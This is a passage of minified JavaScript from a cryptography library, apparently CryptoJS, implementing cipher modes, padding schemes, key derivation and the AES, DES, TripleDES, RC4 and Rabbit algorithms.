(this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 